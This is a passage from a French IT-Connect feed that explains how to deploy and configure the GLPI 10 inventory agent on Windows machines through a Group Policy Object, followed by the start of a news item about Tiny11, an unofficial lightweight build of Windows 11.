<li>Cliquez sur "<strong>Inventaire</strong>" (2)</li>



<li>Cochez l'option "<strong>Activer l'inventaire</strong>" (3)</li>



<li>Enregistrez la modification en cliquant sur le bouton "<strong>Sauvegarder</strong>" en bas de page</li>
</ul>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="553" src="media/059bf4ce.GLPI-10-Activer-linventaire.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire.jpg" alt="GLPI 10 - Activer l'inventaire" class="wp-image-71210" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire-550x380.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire-150x104.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire-768x531.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire-392x272.jpg 392w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Activer-linventaire-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voilà, c'est tout. </p>



<p>Pour le moment, <strong>aucun agent n'est enregistré sur notre serveur GLPI</strong>. Nous pouvons le vérifier en cliquant sur l'icône qui ressemble à un robot en haut de l'interface. Nous pouvons lire la mention suivante : "<strong>Aucun élément trouvé</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="367" src="media/76978b0e.GLPI-10-Aucun-agent.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Aucun-agent.png" alt="GLPI 10 - Aucun agent" class="wp-image-71212" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Aucun-agent.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Aucun-agent-550x252.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Aucun-agent-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Aucun-agent-768x352.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Aucun-agent-50x23.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous allons remédier à cette situation en déployant l'agent GLPI sur plusieurs machines.</p>



<h2 class="wp-block-heading">IV. Créer une GPO pour déployer l'agent GLPI (sans script)</h2>



<p>Pour déployer l'agent GLPI par GPO, il y a plusieurs méthodes envisageables... Notamment celles-ci :</p>



<ul>
<li>Utiliser le script VBS "<a href="https://glpi-agent.readthedocs.io/en/latest/installation/index.html" target="_blank" rel="noopener nofollow" title="">glpi-agent-deployment.vbs</a>" mis à disposition par GLPI et l'exécuter en tant que script de démarrage de Windows</li>



<li>Exécuter "msiexec.exe" avec les bons arguments pour cibler le package MSI de l'agent GLPI et spécifier l'URL de notre serveur GLPI, etc...</li>



<li><a href="https://www.it-connect.fr/comment-ajouter-des-options-a-un-package-msi-deploye-par-gpo/" target="_blank" rel="noopener" title="">Modifier le package MSI de l'Agent GLPI avec ORCA</a> pour inclure l'URL de notre serveur, etc... et l'installation via la fonction "Installation de logiciel"</li>



<li>Installer le package MSI de l'Agent GLPI via la fonction native "Installation de logiciel" des GPO et le configurer à l'aide de valeurs dans le Registre Windows</li>
</ul>



<p>Nous allons partir sur la dernière méthode : elle me semble à la fois<strong> facile à mettre en œuvre </strong>et<strong> suffisamment flexible</strong>.</p>



<h3 class="wp-block-heading">A. Télécharger et partager le package MSI de l'agent GLPI</h3>



<p>La première étape consiste à télécharger l'agent GLPI au format MSI, à partir du GitHub officiel mentionné en début d'article.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="389" src="media/790bd93d.Telecharger-Agent-GLPI.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Telecharger-Agent-GLPI.png" alt="Télécharger Agent GLPI" class="wp-image-71217" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Telecharger-Agent-GLPI.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Telecharger-Agent-GLPI-550x267.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Telecharger-Agent-GLPI-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Telecharger-Agent-GLPI-768x373.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Telecharger-Agent-GLPI-50x24.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fois que c'est fait, nous allons devoir stocker ce package MSI sur un partage afin de le déployer par GPO.</p>



<p>Dans mon cas, l'agent GLPI sera stocké dans "<strong>P:\Applications</strong>" du serveur "<strong>SRV-ADDS-01.it-connect.local</strong>". </p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="100" src="media/c7af3e79.Partage-pour-agent-GLPI.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-pour-agent-GLPI.png" alt="" class="wp-image-71220" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-pour-agent-GLPI.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-pour-agent-GLPI-550x69.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-pour-agent-GLPI-150x19.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-pour-agent-GLPI-768x96.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-pour-agent-GLPI-50x6.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ce répertoire est partagé en tant que "<strong>Applications$</strong>" et les permissions de partage sont définies comme suit :</p>



<ul>
<li>Groupe "<strong>Ordinateurs du domaine</strong>" en lecture seule</li>



<li>Groupe "<strong>Admins du domaine</strong>" en contrôle total</li>
</ul>



<p>Si vous avez besoin d'aide pour la création du partage SMB, consultez cet article :</p>



<ul>
<li><a href="https://www.it-connect.fr/windows-server-2022-creer-son-premier-partage-de-fichiers-smb/" target="_blank" rel="noopener" title="Serveurs de fichiers – Créer son premier partage sous Windows Server 2022">Comment créer un partage SMB sous Windows Server ?</a></li>
</ul>



<p>Ainsi, ce partage sera accessible en lecture par les ordinateurs intégrés au domaine Active Directory. Suffisant pour venir lire le package MSI afin d'installer l'agent GLPI.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="425" src="media/066c31cf.Partage-Agent-GLPI-Permissions.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-Agent-GLPI-Permissions.png" alt="" class="wp-image-71219" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-Agent-GLPI-Permissions.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-Agent-GLPI-Permissions-550x292.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-Agent-GLPI-Permissions-150x80.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-Agent-GLPI-Permissions-768x408.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Partage-Agent-GLPI-Permissions-50x27.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">B. Installer l'agent GLPI par GPO (package MSI)</h3>



<p>Passons à la création de la stratégie de groupe pour déployer l'agent GLPI. Ouvrez la console "<strong>Gestion de stratégie de groupe</strong>" et créez une nouvelle GPO.</p>



<ul>
<li><a href="https://www.it-connect.fr/chapitres/comment-creer-sa-premiere-gpo/" target="_blank" rel="noopener" title="Comment créer sa première GPO ?">Comment créer sa première GPO ?</a></li>
</ul>



<p>En ce qui me concerne, la GPO s'appelle "<strong>Logiciel - Agent GLPI - Installer</strong>" et elle est liée à l'OU "<strong>PC</strong>" qui contient mes postes de travail Windows. <strong>Attention</strong>, si vous liez la GPO à la racine de votre domaine Active Directory, l'agent GLPI sera déployé sur toutes les machines (postes de travail et serveurs).</p>



<figure class="wp-block-image size-full"><img decoding="async" width="560" height="352" src="media/aba8ecce.GPO-pour-agent-GLPI-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-pour-agent-GLPI-10.png" alt="GPO pour agent GLPI 10" class="wp-image-71224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-pour-agent-GLPI-10.png 560w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-pour-agent-GLPI-10-550x346.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-pour-agent-GLPI-10-150x94.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-pour-agent-GLPI-10-50x31.png 50w" sizes="(max-width: 560px) 100vw, 560px" /></figure>



<p>Une fois la GPO créée, vous allez devoir l'éditer via un clic droit sur son nom puis "<strong>Modifier</strong>".</p>



<p>Parcourez les paramètres de cette façon :</p>



<pre class="wp-block-code"><code>Configuration ordinateur > Stratégies > Paramètres du logiciel > Installation de logiciel</code></pre>



<p>Ici, effectuez un clic droit puis : <strong>Nouveau > Package</strong>. Une fenêtre va s'ouvrir afin de vous permettre de sélectionner le package MSI à déployer. Vous devez préciser le chemin réseau (chemin UNC) vers le package MSI. </p>



<ul>
<li><a href="https://www.it-connect.fr/comment-deployer-un-logiciel-au-format-msi-par-gpo/" target="_blank" rel="noopener" title="Comment déployer un logiciel au format MSI par GPO ?">Comment déployer un logiciel (MSI) par GPO ?</a></li>
</ul>



<p>Pour ma part, cela donne le chemin suivant :</p>



<pre class="wp-block-code"><code>\\srv-adds-01.it-connect.local\Applications$\GLPI-Agent-1.5-x64.msi</code></pre>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="178" src="media/ccc21a40.Agent-GLPI-disponible-sur-partage-avec-chemin-reseau.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-disponible-sur-partage-avec-chemin-reseau.png" alt="Agent GLPI disponible sur partage avec chemin réseau" class="wp-image-71223" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-disponible-sur-partage-avec-chemin-reseau.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-disponible-sur-partage-avec-chemin-reseau-550x122.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-disponible-sur-partage-avec-chemin-reseau-150x33.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-disponible-sur-partage-avec-chemin-reseau-768x171.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-disponible-sur-partage-avec-chemin-reseau-50x11.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Validez.</p>



<p>A la question "<strong>Sélectionnez le type de déploiement</strong>", choisissez "<strong>Attribué</strong>" et poursuivez.</p>



<p>Voilà, l'agent GLPI est prêt à être déployé par GPO :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="285" src="media/bf94cac3.GPO-Package-MSI-Agent-GLPI.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Package-MSI-Agent-GLPI.png" alt="GPO - Package MSI - Agent GLPI" class="wp-image-71222" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Package-MSI-Agent-GLPI.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Package-MSI-Agent-GLPI-550x196.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Package-MSI-Agent-GLPI-150x53.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Package-MSI-Agent-GLPI-768x274.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Package-MSI-Agent-GLPI-50x18.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Le problème, c'est que <strong>l'agent GLPI sera déployé sans aucune configuration</strong>. De ce fait, <strong>il ne pourra pas se synchroniser sur notre serveur GLPI </strong>et les machines ne vont pas remonter dans l'inventaire....</p>



<h3 class="wp-block-heading">C. Configurer l'agent GLPI avec le Registre Windows</h3>



<p>Pour répondre à cette problématique, nous allons configurer l'agent GLPI par GPO en jouant directement sur<strong> les valeurs situées dans la clé de Registre</strong> suivante :</p>



<pre class="wp-block-code"><code>HKEY_LOCAL_MACHINE\SOFTWARE\GLPI-Agent</code></pre>



<p>Effectivement, l'agent GLPI stocke sa configuration dans le Registre Windows, ce qui permet de la modifier facilement.</p>



<p>Ainsi, nous allons configurer deux valeurs :</p>



<ul>
<li><strong>server </strong>: pour indiquer l'URL du serveur GLPI (vers une page spécifique)</li>



<li><strong>tag </strong>: pour indiquer un tag spécifique à associer à ces machines (le tag est utile pour la classification, surtout si vous avez plusieurs clients sur le même GLPI)</li>
</ul>



<p>D'autres options sont configurables. Pour en savoir plus, consultez cette page :</p>



<ul>
<li><a href="https://glpi-agent.readthedocs.io/en/latest/configuration.html" target="_blank" rel="noopener nofollow" title="">Agent GLPI - Documentation officielle</a></li>
</ul>



<p><strong>Pour définir des valeurs de Registre par GPO, procédez de cette façon (<em>toujours dans la même GPO, même si ce n'est pas obligatoire</em>) :</strong></p>



<p>Parcourez les paramètres de GPO de façon à atteindre cet emplacement :</p>



<pre class="wp-block-code"><code>Configuration ordinateur > Préférences > Paramètres Windows > Registre</code></pre>



<p>Ici, effectuez un clic droit puis cliquez sur : <strong>Nouveau > Elément Registre</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="374" src="media/a2cb6676.GPO-Agent-GLPI-Config-via-Registre-Windows.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Agent-GLPI-Config-via-Registre-Windows.png" alt="GPO - Agent GLPI - Config via Registre Windows" class="wp-image-71235" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Agent-GLPI-Config-via-Registre-Windows.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Agent-GLPI-Config-via-Registre-Windows-550x257.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Agent-GLPI-Config-via-Registre-Windows-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Agent-GLPI-Config-via-Registre-Windows-768x359.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GPO-Agent-GLPI-Config-via-Registre-Windows-50x23.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Commencez par configurer la valeur "<strong>server</strong>".</p>



<ul>
<li><strong>Action </strong>: mettre à jour</li>



<li><strong>Ruche </strong>: HKEY_LOCAL_MACHINE</li>



<li><strong>Chemin d'accès de la clé</strong> : SOFTWARE\GLPI-Agent</li>



<li><strong>Nom de valeur </strong>: server</li>



<li><strong>Type de valeur </strong>: REG_SZ</li>



<li><strong>Données de valeur </strong>: https://support.it-connect.tech/front/inventory.php</li>
</ul>



<p>Veillez à ajuster l'URL vers votre serveur GLPI, tout en gardant "<strong>/front/inventory.php</strong>" dans l'URL. Ce qui donne :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="399" height="456" src="media/5807afa7.Agent-GLPI-GPO-Registre-Valeur-server.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-server.png" alt="Agent GLPI - GPO - Registre - Valeur server" class="wp-image-71234" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-server.png 399w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-server-131x150.png 131w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-server-44x50.png 44w" sizes="(max-width: 399px) 100vw, 399px" /></figure>



<p>Répétez l'opération pour la valeur "<strong>tag</strong>" en indiquant la valeur que vous voulez pour le tag :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="400" height="455" src="media/d159058b.Agent-GLPI-GPO-Registre-Valeur-tag.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-tag.png" alt="Agent GLPI - GPO - Registre - Valeur tag" class="wp-image-71233" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-tag.png 400w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-tag-132x150.png 132w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeur-tag-44x50.png 44w" sizes="(max-width: 400px) 100vw, 400px" /></figure>



<p>Ce qui donne ce résultat :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="89" src="media/5847d21f.Agent-GLPI-GPO-Registre-Valeurs.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeurs.jpg" alt="Agent GLPI - GPO - Registre - Valeurs" class="wp-image-71232" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeurs.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeurs-550x61.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeurs-150x17.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeurs-768x85.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-GPO-Registre-Valeurs-50x6.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Voilà, la GPO est entièrement prête : l'agent GLPI sera installé et configuré !</strong></p>



<p>Pour faire évoluer la configuration de vos agents GLPI par la suite, il vous suffira de <strong>modifier les valeurs de Registre</strong> ! Plutôt pratique. Sachez toutefois qu'il faut redémarrer l'agent GLPI (ou la machine, en fait) pour prendre en compte les modifications. Ici, il s'agit d'une<em> fresh install </em>de l'agent GLPI, donc ce sera pris en compte directement.</p>



<h3 class="wp-block-heading">D. Tester la GPO</h3>



<p>Pour tester le bon fonctionnement de cette GPO, nous devons utiliser une machine située dans l'OU "PC". En ce qui me concerne, ce sera la machine "<strong>PC-02</strong>".</p>



<p><strong>Première étape</strong> : mettre à jour les GPO sur la machine grâce à la commande habituelle.</p>



<pre class="wp-block-code"><code>gpupdate /force</code></pre>



<p>Après <strong>redémarrage de la machine</strong>, l'agent GLPI sera installé et il sera visible dans la liste des applications installées sur le poste :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="721" height="215" src="media/de62607d.Agent-GLPI-10-sur-Windows-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-sur-Windows-11.png" alt="Agent GLPI 10 sur Windows 11" class="wp-image-71231" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-sur-Windows-11.png 721w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-sur-Windows-11-550x164.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-sur-Windows-11-150x45.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-sur-Windows-11-50x15.png 50w" sizes="(max-width: 721px) 100vw, 721px" /></figure>



<p><strong>Par contre, toujours rien dans l'interface de GLPI ! Pourquoi ?</strong></p>



<p>En fait, <strong>l'agent GLPI ne lance pas d'inventaire dans la foulée de l'installation</strong> (sauf si l'on utilise un argument spécifique lors de l'installation via msiexec.exe par exemple). Vous avez deux options : </p>



<ul>
<li>Patienter jusqu'au prochain inventaire (1 heure après l'installation)</li>



<li>Forcer un inventaire à la main</li>
</ul>



<p>C'est ce que nous allons faire pour valider que tout fonctionne bien.</p>



<p>Sur la machine "<strong>PC-02</strong>", nous devons <strong>ouvrir un navigateur </strong>afin d'accéder à l'interface de l'agent GLPI à partir de l'URL suivante :</p>



<pre class="wp-block-code"><code>http:&#47;&#47;127.0.0.1:62354</code></pre>



<p>Il s'agit d'une URL par défaut qui fonctionnera sur toutes les machines où l'agent GLPI est installé. Cette page indique pour<strong> quand est prévu le prochain inventaire </strong>et il y a un bouton pour forcer un inventaire. Cliquez sur "<strong>Force an inventory</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="283" src="media/5178a2dc.Agent-GLPI-10-Forcer-un-inventaire.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-Forcer-un-inventaire.jpg" alt="Agent GLPI 10 - Forcer un inventaire" class="wp-image-71230" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-Forcer-un-inventaire.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-Forcer-un-inventaire-550x195.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-Forcer-un-inventaire-150x53.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-Forcer-un-inventaire-768x272.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-10-Forcer-un-inventaire-50x18.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Moins de 2 minutes plus tard, l'agent GLPI doit apparaître sur l'interface de GLPI :</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/244f78f8.Agent-GLPI-OK-sur-Windows-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11.jpg"><img decoding="async" width="1200" height="349" data-id="71241" src="media/244f78f8.Agent-GLPI-OK-sur-Windows-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11.jpg" alt="" class="wp-image-71241" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11-550x160.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11-800x233.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11-150x44.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11-768x223.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Agent-GLPI-OK-sur-Windows-11-50x15.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>De la même façon, notre parc doit avoir une machine dans son inventaire. Cliquez sur "<strong>Parc</strong>" puis sur "<strong>Ordinateurs</strong>". La machine "<strong>PC-02</strong>" apparaît bien :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="286" src="media/51ee384d.GLPI-10-Parc-Ordinateurs-Inventaire-automatique.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Parc-Ordinateurs-Inventaire-automatique.jpg" alt="GLPI 10 - Parc - Ordinateurs - Inventaire automatique" class="wp-image-71243" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Parc-Ordinateurs-Inventaire-automatique.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Parc-Ordinateurs-Inventaire-automatique-550x197.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Parc-Ordinateurs-Inventaire-automatique-150x54.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Parc-Ordinateurs-Inventaire-automatique-768x275.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/GLPI-10-Parc-Ordinateurs-Inventaire-automatique-50x18.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>L'ensemble des machines ciblées par la GPO vont remonter dans GLPI et vous aurez accès à un ensemble d'informations sur chaque machine :</p>



<ul>
<li>Type d'ordinateur, fabricant, modèle, numéro de série</li>



<li>Système d'exploitation (nom, version, architecture, date d'installation, etc.)</li>



<li>Configuration matérielle avec la liste des composants</li>



<li>Volumes (stockage)</li>



<li>Inventaire des logiciels avec la version, la date d'installation, l'état de la licence, etc.</li>



<li>Solution de sécurité détectée (antivirus)</li>



<li>Etc...</li>
</ul>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/0b7d2ab0.Exemple-PC-dans-inventaire-GLPI.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI.jpg"><img decoding="async" width="1200" height="522" data-id="71246" src="media/0b7d2ab0.Exemple-PC-dans-inventaire-GLPI.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI.jpg" alt="Exemple PC dans inventaire GLPI" class="wp-image-71246" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI-550x239.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI-800x348.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI-150x65.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI-768x334.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Exemple-PC-dans-inventaire-GLPI-50x22.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>En suivant ce tutoriel, vous devriez être en mesure de <strong>déployer l'agent GLPI 10 sur les machines Windows </strong>de votre parc informatique géré par Active Directory ! </p><p>The post <a href="https://www.it-connect.fr/tuto-installer-configurer-gpo-agent-glpi-windows/">GLPI 10 : comment déployer l’agent GLPI sur les machines Windows à l’aide d’une GPO ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72973
title: Tiny11, une version de Windows 11 23H2 toujours plus légère !
uri: Tiny11-une-version-de-Windows-11-23H2-toujours-plus-légère
url: https://www.it-connect.fr/tiny11-une-version-de-windows-11-23h2-toujours-plus-legere/
content:
<p><strong>La dernière version de Tiny11, la version allégée et non officielle de Windows 11, est encore plus légère que les précédentes moutures ! Voici ce qu'il faut savoir au sujet de ce Windows 11 si spécial.</strong></p>



<p>Destinée aux machines les moins puissantes et très limitées en espace disque, Tiny11 est une version de Windows 11 mise au point par NTDEV depuis plusieurs années. La dernière version de Tiny11, basée sur <a href="https://www.it-connect.fr/windows-11-23h2-est-disponible-voici-tout-ce-que-vous-devez-savoir/" target="_blank" rel="noopener" title="Windows 11 23H2 est disponible ! Voici tout ce que vous devez savoir !">Windows 11 23H2</a>, a perdu encore du poids : <strong>elle prend 20% de place en moins sur le disque que la précédente version de Tiny11</strong>.</p>



<p>Au <strong>téléchargement</strong>,<strong> Tiny11 ne pèse que 3,5 Go</strong> contrairement à la <strong>version complète de Windows 11 qui est beaucoup plus lourde : 6,2 Go</strong>. Ceci n'empêche pas <strong>Tiny11 d'être parfaitement fonctionnel </strong>et de prendre en charge les mises à jour déployées par Microsoft. Comme le montre l'image ci-dessous, une nouvelle installation consomme environ 10 Go sur le disque :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="787" height="281" src="media/62ce0776.Tiny11-Espace-disque.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tiny11-Espace-disque.png" alt="Tiny11 - Espace disque" class="wp-image-72977" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tiny11-Espace-disque.png 787w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tiny11-Espace-disque-550x196.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tiny11-Espace-disque-150x54.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tiny11-Espace-disque-768x274.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tiny11-Espace-disque-50x18.png 50w" sizes="(max-width: 787px) 100vw, 787px" /></figure>



<p>Vous pouvez accéder aux liens de téléchargement sur cette page (<em>sur la droite de la page</em>) :</p>



<ul>
<li><a href="https://archive.org/details/tiny11-2311" target="_blank" rel="noopener nofollow" title="">Télécharger Tiny11</a></li>
</ul>



<h2 class="wp-block-heading">Qu'est-ce qui différencie Tiny11 de Windows 11 ?</h2>



